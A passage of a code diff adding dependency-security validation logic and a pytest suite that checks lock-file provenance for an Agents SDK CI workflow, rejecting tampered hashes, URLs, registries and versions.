+for is_protected, previous_by_name, current_by_name in (
+ (False, old_contexts, new_contexts),
+ (True, old_protected_contexts, new_protected_contexts),
+):
+ for name, previous_contexts in previous_by_name.items():
+ preserved, partitioned = preserves_requirement_source_markers(
+ previous_contexts,
+ current_by_name.get(name, {}),
+ old_resolution_contexts.get(name, {}),
+ new_resolution_contexts.get(name, {}),
+ extra_review=is_protected and name in newly_exposed,
+ )
+ if not preserved:
+ message = (
+ "Do not widen or narrow an existing security dependency marker for "
+ if is_protected
+ else "Do not remove a published direct dependency or its original context for "
+ )
+ raise SystemExit(message + name)
+ if partitioned:
+ partitioned_security_sources.add((is_protected, name))
+for name, previous in old_protected.items():
+ requirements = new_protected.get(name, set())
+ previous_contexts = old_protected_contexts.get(name, {})
+ current_contexts = new_protected_contexts.get(name, {})
+ previous_domains = old_resolution_contexts.get(name, {})
+ current_domains = new_resolution_contexts.get(name, {})
+ if previous == requirements and previous_contexts == current_contexts and previous_domains == current_domains:
+ continue
+ if previous != requirements or previous_contexts != current_contexts:
+ security_replacements: ContextReplacements = {
+ context: replacement_contexts(context, prior_requirements, current_contexts, previous_domains, exact=True)
+ for context, prior_requirements in previous_contexts.items()
+ }
+ if not preserves_dependency_security_bounds(
+ previous_contexts, security_replacements, previous_domains, current_domains
+ ):
+ raise SystemExit("Do not weaken a protected dependency security exclusion or upper bound for " + name)
+ prior_minimums = minimums(previous, allow_missing=True, exact=True)
+ if not prior_minimums:
+ continue
+ updated_minimums = minimums(requirements, exact=True)
+ mapped_contexts: ContextReplacements = {}
+ for context, prior_requirements in previous_contexts.items():
+ context_minimums = minimums(prior_requirements, allow_missing=True, exact=True)
+ if not context_minimums:
+ continue
+ replacements = replacement_contexts(context, prior_requirements, current_contexts, previous_domains, exact=True)
+ if not replacements:
+ raise SystemExit("Do not lower a contextual protected security minimum for " + name)
+ mapped_contexts[context] = replacements
+ for context_requirements in replacements.values():
+ updated_context_minimums = minimums(context_requirements, exact=True)
+ if len(updated_context_minimums) != len(context_minimums) or any(
+ updated < previous for previous, updated in zip(context_minimums, updated_context_minimums, strict=True)
+ ):
+ raise SystemExit("Do not lower a contextual protected security minimum for " + name)
+ split = (
+ any(context not in replacements for context, replacements in mapped_contexts.items())
+ or (True, name) in partitioned_security_sources
+ )
+ if split:
+ if set(current_contexts) != {
+ replacement for replacements in mapped_contexts.values() for replacement in replacements
+ }:
+ raise SystemExit("Do not replace a protected security dependency context for " + name)
+ elif len(updated_minimums) != len(prior_minimums) or any(
+ updated < previous for previous, updated in zip(prior_minimums, updated_minimums, strict=True)
+ ):
+ if (
+ name in old_direct
+ or name in new_direct
+ or not reviewed_additive_protected_contexts(
+ previous_contexts, current_contexts, previous_domains, current_domains
+ )
+ ):
+ raise SystemExit("Do not lower a protected dependency security minimum for " + name)
+ if previous_domains == current_domains:
+ continue
+ protected_patched_domains: dict[MarkerContext, list[tuple[StableRelease, StableRelease]]] = {}
+ for domain in previous_domains.keys() | current_domains.keys():
+ prior_versions = previous_domains.get(domain, set())
+ updated_versions = current_domains.get(domain, set())
+ if prior_versions == updated_versions:
+ continue
+ introduced = sorted(stable_version(version) for version in updated_versions - prior_versions)
+ removed = sorted(stable_version(version) for version in prior_versions - updated_versions)
+ if (
+ not introduced
+ or len(introduced) != len(removed)
+ or any(updated <= previous for previous, updated in zip(removed, introduced, strict=True))
+ ):
+ raise SystemExit("Missing contextual upgraded protected security dependency release for " + name)
+ protected_patched_domains[domain] = list(zip(removed, introduced, strict=True))
+ for context, prior_requirements in previous_contexts.items():
+ prior_context_minimums = minimums(prior_requirements, allow_missing=True, exact=True)
+ if not prior_context_minimums:
+ continue
+ for replacement, context_requirements in mapped_contexts[context].items():
+ patched = [
+ introduced
+ for domain, upgrades in protected_patched_domains.items()
+ if marker_overlap(replacement[3], domain)
+ for removed, introduced in upgrades
+ if matches_protected_release(prior_requirements, removed)
+ ]
+ if not patched:
+ continue
+ updated_context_minimums = minimums(context_requirements, exact=True)
+ if (
+ not updated_context_minimums
+ or any(updated < max(patched) for updated in updated_context_minimums)
+ or any(
+ not matches_protected_release(context_requirements, release, upper_only=True) for release in patched
+ )
+ ):
+ raise SystemExit("Raise the contextual protected security minimum to the patched release for " + name)
+
+for name in old_versions.keys() & new_versions.keys():
+ if name in old_direct or name in new_direct:
+ continue
+ previous_contexts = old_protected_contexts.get(name, {})
+ previous_domains = old_resolution_contexts.get(name, {})
+ current_domains = new_resolution_contexts.get(name, {})
+ for domain in previous_domains.keys() | current_domains.keys():
+ prior_versions = previous_domains.get(domain, set())
+ updated_versions = current_domains.get(domain, set())
+ if prior_versions == updated_versions or not updated_versions:
+ continue
+ removed = sorted(stable_version(version) for version in prior_versions - updated_versions)
+ introduced = sorted(stable_version(version) for version in updated_versions - prior_versions)
+ if not introduced:
+ continue
+ if (
+ not removed
+ or len(introduced) != len(removed)
+ or any(updated <= previous for previous, updated in zip(removed, introduced, strict=True))
+ ):
+ raise SystemExit("Missing contextual upgraded transitive security dependency release for " + name)
+ for removed_release, patched_release in zip(removed, introduced, strict=True):
+ protected = [
+ context[3]
+ for context, declarations in previous_contexts.items()
+ for declaration in declarations
+ if minimums({declaration}, allow_missing=True, exact=True)
+ and matches_protected_release({declaration}, removed_release)
+ ]
+ fragments = uncovered_marker_fragments(domain, protected, anchor_platform_release=True)
+ if fragments and not covers_transitive_security_release(
+ new_protected_contexts.get(name, {}),
+ domain,
+ fragments,
+ removed_release,
+ patched_release,
+ current_domains,
+ ):
+ raise SystemExit("Add a reviewed contextual transitive security dependency boundary for " + name)
+
+if new_requested_extra_contexts:
+ for name in newly_exposed:
+ reviewed_contexts = new_protected_contexts.get(name, {}) | new_contexts.get(name, {})
+ for domain, domain_versions in new_resolution_contexts.get(name, {}).items():
+ exposed: set[tuple[str, str, MarkerContext]] = set()
+ for scope, group, marker in extra_reachable.get(name, set()):
+ if not marker_overlap(marker, domain):
+ continue
+ shared = tuple(sorted(set(marker + domain)))
+ prior = [
+ previous_marker
+ for previous_scope, previous_group, previous_marker in previous_reachable.get(name, set())
+ if previous_scope == "runtime" or (previous_scope, previous_group) == (scope, group)
+ ]
+ exposed.update((scope, group, fragment) for fragment in uncovered_marker_fragments(shared, prior))
+ if not exposed:
+ continue
+ for version in domain_versions:
+ release = stable_version(version)
+ for scope, group, fragment in exposed:
+ extra_coverings: list[MarkerContext] = []
+ for context, requirements in reviewed_contexts.items():
+ if context[0] == "optional" and context[:2] != (scope, group):
+ continue
+ if not marker_overlap(context[3], fragment):
+ continue
+ for requirement in requirements:
+ floors = minimums({requirement}, allow_missing=True, exact=True)
+ if (
+ len(floors) == 1
+ and floors[0] >= release
+ and allows_published_release(published_bounds(requirement), release)
+ ):
+ extra_coverings.append(context[3])
+ if not extra_coverings or uncovered_marker_fragments(
+ fragment, extra_coverings, anchor_platform_release=True
+ ):
+ raise SystemExit(
+ "Review the contextual dependency introduced by a newly requested extra for " + name
+ )
+
+direct_replacements: dict[str, ContextReplacements] = {}
+for name, previous_contexts in old_contexts.items():
+ current_contexts = new_contexts.get(name, {})
+ mapped_contexts = {}
+ for context, previous_requirements in previous_contexts.items():
+ replacements = replacement_contexts(
+ context, previous_requirements, current_contexts, old_resolution_contexts.get(name, {})
+ )
+ if not replacements:
+ raise SystemExit("Do not remove a published direct dependency or its original context for " + name)
+ mapped_contexts[context] = replacements
+ if any(context not in replacements for context, replacements in mapped_contexts.items()) and set(
+ current_contexts
+ ) != {replacement for replacements in mapped_contexts.values() for replacement in replacements}:
+ raise SystemExit("Do not replace a published direct dependency context for " + name)
+ direct_replacements[name] = mapped_contexts
+for name, requirements in new_direct.items():
+ previous = old_direct.get(name, set())
+ previous_contexts = old_contexts.get(name, {})
+ current_contexts = new_contexts.get(name, {})
+ if previous != requirements or previous_contexts != current_contexts:
+ previous_minimums = minimums(previous, allow_missing=True)
+ if previous_minimums:
+ mapped_contexts = direct_replacements.get(name, {})
+ retained_requirements = {
+ requirement
+ for replacements in mapped_contexts.values()
+ for updated in replacements.values()
+ for requirement in updated
+ }
+ updated_minimums = minimums(retained_requirements or requirements)
+ split = (
+ any(context not in replacements for context, replacements in mapped_contexts.items())
+ or (False, name) in partitioned_security_sources
+ )
+ if not split and (
+ len(updated_minimums) != len(previous_minimums)
+ or any(
+ updated < previous for previous, updated in zip(previous_minimums, updated_minimums, strict=True)
+ )
+ ):
+ raise SystemExit("Do not lower a published security-fixed minimum for " + name)
+ for context, prior_requirements in previous_contexts.items():
+ prior_minimums = minimums(prior_requirements, allow_missing=True)
+ if not prior_minimums:
+ continue
+ for context_requirements in mapped_contexts[context].values():
+ context_minimums = minimums(context_requirements)
+ if len(context_minimums) != len(prior_minimums) or any(
+ updated < previous for previous, updated in zip(prior_minimums, context_minimums, strict=True)
+ ):
+ raise SystemExit("Do not lower a contextual security-fixed minimum for " + name)
+ previous_domains = old_resolution_contexts.get(name, {})
+ current_domains = new_resolution_contexts.get(name, {})
+ if (previous != requirements or previous_contexts != current_contexts) and not preserves_dependency_security_bounds(
+ previous_contexts, direct_replacements.get(name, {}), previous_domains, current_domains
+ ):
+ raise SystemExit("Do not weaken a published security exclusion or upper bound for " + name)
+ if old_versions.get(name, set()) == new_versions.get(name, set()) and previous_domains == current_domains:
+ continue
+ if previous == requirements:
+ raise SystemExit("Raise the published security-fixed minimum for " + name)
+ if secures_supported_published_branches(
+ previous_domains,
+ current_domains,
+ previous_contexts,
+ current_contexts,
+ old_protected_contexts.get(name, {}),
+ new_protected_contexts.get(name, {}),
+ ):
+ continue
+ patched_domains: dict[MarkerContext, StableRelease] = {}
+ for domain in previous_domains.keys() | current_domains.keys():
+ prior_versions = previous_domains.get(domain, set())
+ updated_versions = current_domains.get(domain, set())
+ if prior_versions == updated_versions:
+ continue
+ introduced = sorted(stable_version(version) for version in updated_versions - prior_versions)
+ removed = sorted(stable_version(version) for version in prior_versions - updated_versions)
+ if (
+ not introduced
+ or len(introduced) != len(removed)
+ or any(updated <= previous for previous, updated in zip(removed, introduced, strict=True))
+ ):
+ raise SystemExit("Missing contextual upgraded security dependency release for " + name)
+ patched_domains[domain] = introduced[-1]
+ if not patched_domains:
+ raise SystemExit("Missing upgraded direct security dependency release for " + name)
+ covered: set[MarkerContext] = set()
+ for context, context_requirements in current_contexts.items():
+ domains = {domain for domain in patched_domains if marker_overlap(context[3], domain)}
+ if not domains:
+ continue
+ covered.update(domains)
+ patched_minimum = max(patched_domains[domain] for domain in domains)
+ updated_minimums = minimums(context_requirements, exact=True)
+ original_context = next(
+ (
+ original
+ for original, replacements in direct_replacements.get(name, {}).items()
+ if context in replacements
+ ),
+ context,
+ )
+ previous_minimums = minimums(previous_contexts.get(original_context, set()), allow_missing=True, exact=True)
+ if (
+ not updated_minimums
+ or any(updated < patched_minimum for updated in updated_minimums)
+ or previous_minimums
+ and (len(updated_minimums) != len(previous_minimums) or updated_minimums[0] <= previous_minimums[0])
+ ):
+ raise SystemExit("Raise the contextual security-fixed minimum for " + name)
+ if covered != set(patched_domains):
+ raise SystemExit("Raise the published security-fixed minimum for " + name)
diff --git a/tests/test_agents_lock_revalidation.py b/tests/test_agents_lock_revalidation.py
new file mode 100644
index 0000000000..6d54caa0a8
--- /dev/null
+++ b/tests/test_agents_lock_revalidation.py
@@ -0,0 +1,521 @@
+from __future__ import annotations
+
+import os
+import sys
+import copy
+import json
+import shutil
+import textwrap
+import subprocess
+from typing import cast
+from pathlib import Path
+
+import pytest
+
+ROOT = Path(__file__).resolve().parents[1]
+WORKFLOW = ROOT / ".github/workflows/detect-breaking-changes.yml"
+BASE_SHA = "a" * 40
+REGISTRY = {"registry": "https://pypi.org/simple"}
+REVIEWED_SOURCES = {
+ "aiohttp": (
+ "3.12.15",
+ "9b/e7/d92a237d8802ca88483906c388f7c201bbe96cd80a165ffd0ac2f6a8d59f/aiohttp-3.12.15.tar.gz",
+ "4fc61385e9c98d72fcdf47e6dd81833f47b2f77c114c29cd64a361be57a763a2",
+ ),
+ "markupsafe": (
+ "3.0.2",
+ "b2/97/5d42485e71dfc078108a86d6de8fa46db44a1a9295e89c5d6d4a06e23a62/markupsafe-3.0.2.tar.gz",
+ "ee55d3edf80167e48ea11a923c7386f4669df67d7994554387f84e7d8b0a2bf0",
+ ),
+ "pyyaml": (
+ "6.0.2",
+ "54/ed/79a089b6be93607fa5cdaedf301d7dfb23af5f25c398d5ead2525b063e17/pyyaml-6.0.2.tar.gz",
+ "d584d9ec91ad65861cc08d42e834324ef890a082e591037abe114850ff7bbc3e",
+ ),
+ "evdev": (
+ "1.9.2",
+ "63/fe/a17c106a1f4061ce83f04d14bcedcfb2c38c7793ea56bfb906a6fadae8cb/evdev-1.9.2.tar.gz",
+ "5d3278892ce1f92a74d6bf888cc8525d9f68af85dbe336c95d1c87fb8f423069",
+ ),
+}
+
+
+def _program() -> str:
+ workflow = WORKFLOW.read_text()
+ marker = " - name: Verify relinked Agents lock package provenance\n"
+ if marker in workflow:
+ step = workflow.split(marker, 1)[1].split(" - name:", 1)[0]
+ program = step.split(" python -I <<'PY'\n", 1)[1].split(" PY\n", 1)[0]
+ return textwrap.dedent(program)
+
+ line = next(
+ line
+ for line in workflow.splitlines()
+ if "python -c '" in line and "Use only the immutable reviewed Agents source distributions" in line
+ )
+ return line.split("python -c '", 1)[1].rsplit("'", 1)[0]
+
+
+def _constraints_program() -> str:
+ workflow = WORKFLOW.read_text()
+ marker = " - name: Constrain Agents-only packages to reviewed locked versions\n"
+ step = workflow.split(marker, 1)[1].split(" - name:", 1)[0]
+ program = step.split(" python -I - \"$constraints\" <<'PY'\n", 1)[1].split(" PY\n", 1)[0]
+ return textwrap.dedent(program)
+
+
+def _artifact(name: str, version: str, digest: str, suffix: str) -> dict[str, str]:
+ return {
+ "url": "https://files.pythonhosted.org/packages/aa/bb/" + name + "-" + version + suffix,
+ "hash": "sha256:" + digest * 64,
+ }
+
+
+def _package(
+ name: str,
+ version: str,
+ *,
+ source: dict[str, str] | None = None,
+ sdist: bool = True,
+ wheels: int = 1,
+) -> dict[str, object]:
+ package: dict[str, object] = {"name": name, "version": version, "source": source or REGISTRY.copy()}
+ if source is not None and "registry" not in source:
+ return package
+ if sdist:
+ package["sdist"] = _artifact(name, version, "a", ".tar.gz")
+ if wheels:
+ package["wheels"] = [
+ _artifact(name, version, str(index + 1), "-" + str(index) + ".whl") for index in range(wheels)
+ ]
+ return package
+
+
+def _lock(packages: list[dict[str, object]]) -> str:
+ entries: list[str] = []
+ for package in packages:
+ lines = [
+ "[[package]]",
+ "name = " + json.dumps(package["name"]),
+ "version = " + json.dumps(package["version"]),
+ ]
+ source = package["source"]
+ assert isinstance(source, dict)
+ typed_source = cast(dict[str, object], source)
+ lines.append(
+ "source = { " + ", ".join(key + " = " + json.dumps(value) for key, value in typed_source.items()) + " }"
+ )
+ sdist = package.get("sdist")
+ if isinstance(sdist, dict):
+ typed_sdist = cast(dict[str, object], sdist)
+ lines.append(
+ "sdist = { " + ", ".join(key + " = " + json.dumps(value) for key, value in typed_sdist.items()) + " }"
+ )
+ wheels = package.get("wheels")
+ if isinstance(wheels, list):
+ typed_wheels = cast(list[dict[str, object]], wheels)
+ lines.append(
+ "wheels = ["
+ + ", ".join(
+ "{ " + ", ".join(key + " = " + json.dumps(value) for key, value in wheel.items()) + " }"
+ for wheel in typed_wheels
+ )
+ + "]"
+ )
+ entries.append("\n".join(lines))
+ return "\n\n".join(entries) + "\n"
+
+
+def _execute(
+ tmp_path: Path, variant: str, *, fork: bool = True, constraints: bool = False
+) -> subprocess.CompletedProcess[str]:
+ agents = tmp_path / "agents"
+ sdk = tmp_path / "openai-python"
+ binaries = tmp_path / "bin"
+ agents.mkdir()
+ sdk.mkdir()
+ binaries.mkdir()
+
+ reviewed: list[dict[str, object]] = []
+ for name, (version, path, digest) in REVIEWED_SOURCES.items():
+ package = _package(name, version, wheels=0)
+ package["sdist"] = {
+ "url": "https://files.pythonhosted.org/packages/" + path,
+ "hash": "sha256:" + digest,
+ }
+ reviewed.append(package)
+
+ agents_root = _package("openai-agents", "0.22.0", source={"editable": "."})
+ sdk_root = _package("openai", "3.3.1", source={"editable": "."})
+ linked_sdk = _package("openai", "3.3.1", source={"directory": "../openai-python"})
+ httpx = _package("httpx", "0.28.1", wheels=2)
+ sdk_only = _package("sdk-only-lib", "1.0.0")
+ wheel_only = _package("playwright", "1.0.0", sdist=False)
+ old_sdk = _package("openai", "3.0.0")
+ pynput = _package("pynput", "1.8.1")
+ multiple = [_package("multi-version", "1.0.0"), _package("multi-version", "2.0.0")]
+ trusted_agents = [agents_root, *reviewed, httpx, wheel_only, old_sdk, pynput, *multiple]
+ trusted_sdk = [sdk_root, sdk_only, _package("httpx", "0.29.0")]
+ current = copy.deepcopy([agents_root, linked_sdk, *reviewed, httpx, wheel_only, sdk_only])
+
+ reviewed_pynput = _package("pynput", "1.6.8")
+ reviewed_pynput_sdist: dict[str, str] = {
+ "url": "https://files.pythonhosted.org/packages/e7/32/"
+ "fa88984fc580de9e9fd08ee36dfd78ea15658d5b0268095785da7ab75ba0/pynput-1.6.8.tar.gz",
+ "hash": "sha256:68c1863d6a1520b44b6a915e866cbfa1b8d127aef9289f25183c93e28ee5049a",
+ }
+ reviewed_pynput["sdist"] = reviewed_pynput_sdist
+ reviewed_pynput_wheels: list[dict[str, str]] = [
+ {
+ "url": "https://files.pythonhosted.org/packages/33/0a/"
+ "ea13c055a90b1aff5945e7eb330584f15e5282aead15a8f3cdb977a1534e/pynput-1.6.8-py2.py3-none-any.whl",
+ "hash": "sha256:42d6d58abe401a4c98ea04e443e61f74b6b0f97672f42042f566c68700ad0c65",
+ }
+ ]
+ reviewed_pynput["wheels"] = reviewed_pynput_wheels
+
+ target = next(package for package in current if package["name"] == "httpx")
+ if variant == "unreviewed-wheel":
+ current.append(_package("unreviewed-wheel", "9.9.9", sdist=False))
+ elif variant == "version":
+ target["version"] = "9.9.9"
+ elif variant == "sdk-reviewed-version":
+ current[current.index(target)] = copy.deepcopy(trusted_sdk[-1])
+ elif variant == "multiple-reviewed-versions":
+ current.append(copy.deepcopy(trusted_sdk[-1]))
+ elif variant == "wheel-url":
+ wheels = target["wheels"]
+ assert isinstance(wheels, list)
+ wheels[0]["url"] = "https://files.pythonhosted.org/packages/aa/bb/replaced.whl"
+ elif variant == "wheel-hash":
+ wheels = target["wheels"]
+ assert isinstance(wheels, list)
+ wheels[0]["hash"] = "sha256:" + "f" * 64
+ elif variant == "artifact-order":
+ wheels = target["wheels"]
+ assert isinstance(wheels, list)
+ wheels.reverse()
+ elif variant == "duplicate-artifact":
+ wheels = target["wheels"]
+ assert isinstance(wheels, list)
+ typed_wheels = cast(list[dict[str, object]], wheels)
+ typed_wheels.append(copy.deepcopy(typed_wheels[0]))
+ elif variant == "missing-sdist":
+ del target["sdist"]
+ elif variant == "private-registry":
+ target["source"] = {"registry": "https://private.example/simple"}
+ elif variant == "no-artifacts":
+ target.pop("sdist", None)
+ target.pop("wheels", None)
+ elif variant == "duplicate-name":
+ duplicate = copy.deepcopy(sdk_only)
+ duplicate["name"] = "SDK_only.lib"
+ current.append(duplicate)
+ elif variant == "extra-editable":
+ current.append(_package("rogue-root", "1.0.0", source={"editable": "."}))
+ elif variant == "sdk-editable":
+ next(package for package in current if package["name"] == "openai")["source"] = {"editable": "../openai-python"}
+ elif variant == "sdk-other-directory":
+ next(package for package in current if package["name"] == "openai")["source"] = {"directory": "../other"}
+ elif variant == "sdk-version":
+ next(package for package in current if package["name"] == "openai")["version"] = "9.9.9"
+ elif variant == "agents-version":
+ next(package for package in current if package["name"] == "openai-agents")["version"] = "9.9.9"
+ elif variant == "fork-submitted-lock":
+ injected = _package("fork-submitted-wheel", "9.9.9", sdist=False)
+ current.append(injected)
+ submitted_sdk = copy.deepcopy(trusted_sdk) + [injected]
+ elif variant == "fork-submitted-pynput":
+ submitted_sdk = copy.deepcopy(trusted_sdk) + [_package("pynput", "1.8.2")]
+ elif variant == "sdk-symlink":
+ sdk.rmdir()
+ outside = tmp_path / "outside"
+ outside.mkdir()
+ sdk.symlink_to(outside, target_is_directory=True)
+ elif variant.startswith("pynput-"):
+ current.append(reviewed_pynput)
+ if variant == "pynput-version":
+ reviewed_pynput["version"] = "1.6.9"
+ elif variant == "pynput-registry":
+ reviewed_pynput["source"] = {"registry": "https://private.example/simple"}
+ elif variant == "pynput-sdist-url":
+ reviewed_pynput_sdist["url"] += ".replaced"
+ elif variant == "pynput-sdist-hash":
+ reviewed_pynput_sdist["hash"] = "sha256:" + "b" * 64
+ elif variant == "pynput-wheel-url":
+ reviewed_pynput_wheels[0]["url"] = "https://files.pythonhosted.org/packages/aa/bb/replaced.whl"
+ elif variant == "pynput-wheel-hash":
+ reviewed_pynput_wheels[0]["hash"] = "sha256:" + "c" * 64
+ elif variant == "pynput-extra-wheel":
+ reviewed_pynput_wheels.append(_artifact("pynput", "1.6.8", "d", ".whl"))
+ elif variant == "pynput-missing-wheel":
+ reviewed_pynput.pop("wheels")
+ elif variant == "pynput-missing-sdist":
+ reviewed_pynput.pop("sdist")
+
+ submitted_sdk = locals().get("submitted_sdk", copy.deepcopy(trusted_sdk))
+ (agents / "uv.lock").write_text(_lock(current))
+ (sdk / "uv.lock").write_text(_lock(submitted_sdk))
+ (tmp_path / "trusted-agents.lock").write_text(_lock(trusted_agents))
+ (tmp_path / "trusted-sdk.lock").write_text(_lock(trusted_sdk))
+
+ fake_git = binaries / "git"
+ fake_git.write_text(
+ "#!" + sys.executable + "\n"
+ "import os, pathlib, sys\n"
+ "root = pathlib.Path(os.environ['TEST_LOCK_ROOT'])\n"
+ "args = sys.argv[1:]\n"
+ "if args == ['remote', 'get-url', 'origin']:\n"
+ " print('https://github.com/openai/openai-agents-python.git')\n"
+ "elif args == ['show', 'HEAD:uv.lock']:\n"
+ " print((root / 'trusted-agents.lock').read_text(), end='')\n"
+ "elif args == ['-C', '../openai-python', 'remote', 'get-url', 'origin']:\n"
+ " print('https://github.com/openai/openai-python.git')\n"
+ "elif args == ['-C', '../openai-python', 'show', os.environ['TRUSTED_BUILD_BASE_SHA'] + ':uv.lock']:\n"
+ " print((root / 'trusted-sdk.lock').read_text(), end='')\n"
+ "else:\n"
+ " raise SystemExit('unexpected git arguments: ' + repr(args))\n"
+ )
+ fake_git.chmod(0o755)
+ environment = dict(os.environ)
+ environment.update(
+ {
+ "PATH": str(binaries) + os.pathsep + os.environ["PATH"],
+ "TEST_LOCK_ROOT": str(tmp_path),
+ "UNTRUSTED_BUILD_FORK": "1" if fork else "0",
+ "TRUSTED_BUILD_BASE_SHA": BASE_SHA,
+ "RUNNER_TEMP": str(tmp_path),
+ }
+ )
+
+ program = _constraints_program() if constraints else _program()
+ if sys.version_info < (3, 11):
+ program = "import sys, tomli; sys.modules['tomllib'] = tomli\n" + program
+ arguments = [sys.executable, "-c", program]
+ if constraints:
+ constraints_path = tmp_path / "reviewed-constraints.txt"
+ constraints_path.touch(mode=0o600)
+ arguments.append(str(constraints_path))
+ return subprocess.run(
+ arguments,
+ cwd=agents,
+ env=environment,
+ capture_output=True,
+ text=True,
+ check=False,
+ )
+
+
+@pytest.mark.parametrize(
+ "variant",
+ [
+ pytest.param("unreviewed-wheel", id="unreviewed-wheel-introduced-by-relock"),
+ pytest.param("version", id="reviewed-package-version-re-resolved"),
+ pytest.param("wheel-url", id="reviewed-wheel-url-substituted"),
+ pytest.param("wheel-hash", id="reviewed-wheel-hash-substituted"),
+ pytest.param("duplicate-artifact", id="duplicate-wheel-record"),
+ pytest.param("missing-sdist", id="reviewed-source-artifact-removed"),
+ pytest.param("private-registry", id="private-package-registry"),
+ pytest.param("no-artifacts", id="artifact-free-registry-package"),
+ pytest.param("duplicate-name", id="duplicate-canonical-package-identity"),
+ pytest.param("extra-editable", id="unreviewed-editable-root"),
+ pytest.param("sdk-editable", id="sdk-source-kind-changed"),
+ pytest.param("sdk-other-directory", id="sdk-directory-escape"),
+ pytest.param("sdk-version", id="unreviewed-local-sdk-version"),
+ pytest.param("agents-version", id="unreviewed-agents-root-version"),
+ pytest.param("fork-submitted-lock", id="fork-lock-cannot-expand-trusted-union"),
+ pytest.param("sdk-symlink", id="local-sdk-symlink-escape"),
+ pytest.param("pynput-version", id="curated-pynput-version-substituted"),
+ pytest.param("pynput-registry", id="curated-pynput-private-registry"),
+ pytest.param("pynput-sdist-url", id="curated-pynput-source-url-substituted"),
+ pytest.param("pynput-sdist-hash", id="curated-pynput-source-digest-substituted"),
+ pytest.param("pynput-wheel-url", id="curated-pynput-wheel-url-substituted"),
+ pytest.param("pynput-wheel-hash", id="curated-pynput-wheel-digest-substituted"),
+ pytest.param("pynput-extra-wheel", id="curated-pynput-extra-wheel"),
+ pytest.param("pynput-missing-wheel", id="curated-pynput-wheel-removed"),
+ pytest.param("pynput-missing-sdist", id="curated-pynput-source-removed"),
+ ],
+)
+def test_relinked_agents_lock_rejects_unreviewed_package_identities(tmp_path: Path, variant: str) -> None:
+ result = _execute(tmp_path, variant)
+ assert result.returncode != 0, result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ "variant",
+ [
+ pytest.param("reviewed", id="trusted-union-includes-sdk-only-and-wheel-only"),
+ pytest.param("artifact-order", id="wheel-order-is-not-security-significant"),
+ pytest.param("sdk-reviewed-version", id="sdk-trusted-version-may-replace-agents-version"),
+ pytest.param("multiple-reviewed-versions", id="distinct-reviewed-versions-of-same-name"),
+ pytest.param("pynput-reviewed", id="curated-no-build-compatible-pynput-168-full-identity"),
+ ],
+)
+@pytest.mark.parametrize("fork", [True, False], ids=["immutable-fork-base", "reviewed-same-repository"])
+def test_relinked_agents_lock_accepts_complete_trusted_identities(tmp_path: Path, variant: str, fork: bool) -> None:
+ result = _execute(tmp_path, variant, fork=fork)
+ assert result.returncode == 0, result.stdout + result.stderr
+
+
+def test_full_agents_lock_validation_runs_before_any_dependency_installation() -> None:
+ workflow = WORKFLOW.read_text()
+ link = workflow.index("run: uv add --no-sync ../openai-python")
+ validation = workflow.index("- name: Verify relinked Agents lock package provenance")
+ source_review = workflow.index("reviewed_sources=", validation)
+ installation = workflow.index('UV_NO_BINARY_PACKAGE="openai openai-agents ${reviewed_sources}" make sync')
+ assert link < validation < source_review < installation
+ assert " python -I <<'PY'\n" in workflow[validation:source_review]
+
+
+def test_agents_sync_inherits_its_step_scoped_immutable_lock_policy(tmp_path: Path) -> None:
+ workflow = WORKFLOW.read_text()
+ link_step = workflow.split(" - name: Link to local SDK\n", 1)[1].split(" - name:", 1)[0]
+ agents_workflow = workflow.split(" - name: Verify relinked Agents lock package provenance\n", 1)[1]
+ install_step = agents_workflow.split(" - name: Install dependencies\n", 1)[1].split(" - name:", 1)[0]
+ assert "UV_LOCKED:" not in link_step
+ assert " UV_LOCKED: '1'\n" in install_step
+ command = next(line.strip() for line in install_step.splitlines() if line.strip().endswith(" make sync"))
+
+ make = tmp_path / "make"
+ make.write_text(
+ "#!" + sys.executable + "\n"
+ "import os, sys\n"
+ "assert sys.argv[1:] == ['sync']\n"
+ "assert os.environ['UV_LOCKED'] == '1'\n"
+ "assert os.environ['UV_NO_BINARY_PACKAGE'] == 'openai openai-agents aiohttp'\n"
+ )
+ make.chmod(0o755)
+ environment = dict(os.environ)
+ environment["PATH"] = str(tmp_path) + os.pathsep + os.environ["PATH"]
+ environment["UV_LOCKED"] = next(
+ line.split(":", 1)[1].strip().strip("'") for line in install_step.splitlines() if "UV_LOCKED:" in line
+ )
+ result = subprocess.run(
+ ["bash", "-ec", "reviewed_sources=aiohttp\n" + command],
+ cwd=tmp_path,
+ env=environment,
+ capture_output=True,
+ text=True,
+ check=False,
+ )
+ assert result.returncode == 0, result.stdout + result.stderr
+
+
+def test_uv_locked_rejects_dependency_resolution_after_lock_validation(tmp_path: Path) -> None:
+ uv = shutil.which("uv")
+ if uv is None:
+ pytest.skip("uv is unavailable")
+
+ project = tmp_path / "project"
+ project.mkdir()
+ pyproject = project / "pyproject.toml"
+ pyproject.write_text(
+ '[project]\nname = "reviewed-project"\nversion = "1.0.0"\nrequires-python = ">=3.10"\ndependencies = []\n'
+ )
+ environment = dict(os.environ)
+ environment["UV_CACHE_DIR"] = str(tmp_path / "cache")
+ environment["UV_PYTHON_DOWNLOADS"] = "never"
+ initial = subprocess.run(
+ [uv, "--offline", "--directory", str(project), "lock"],
+ env=environment,
+ capture_output=True,
+ text=True,
+ check=False,
+ )
+ assert initial.returncode == 0, initial.stdout + initial.stderr
+
+ pyproject.write_text(pyproject.read_text().replace('version = "1.0.0"', 'version = "9.9.9"'))
+ environment["UV_LOCKED"] = "1"
+ attempted = subprocess.run(
+ [uv, "--offline", "--directory", str(project), "sync", "--dry-run"],
+ env=environment,
+ capture_output=True,
+ text=True,
+ check=False,
+ )
+ assert attempted.returncode != 0
+ assert "lock" in attempted.stderr.lower()
+
+
+@pytest.mark.parametrize("fork", [True, False], ids=["immutable-fork-base", "reviewed-same-repository"])
+def test_agents_constraints_pin_only_unique_reviewed_agents_only_packages(tmp_path: Path, fork: bool) -> None:
+ result = _execute(tmp_path, "reviewed", fork=fork, constraints=True)
+ assert result.returncode == 0, result.stdout + result.stderr
+ pins = set((tmp_path / "reviewed-constraints.txt").read_text().splitlines())
+ assert "pynput==1.6.8" in pins
+ assert "playwright==1.0.0" in pins
+ assert "httpx==0.28.1" not in pins
+ assert "httpx==0.29.0" not in pins
+ assert not any(pin.startswith("multi-version==") for pin in pins)
+ assert not any(pin.startswith("openai==") or pin.startswith("openai-agents==") for pin in pins)
+ assert "sdk-only-lib==1.0.0" not in pins
+
+
+@pytest.mark.parametrize("fork", [True, False], ids=["immutable-fork-base", "reviewed-same-repository"])
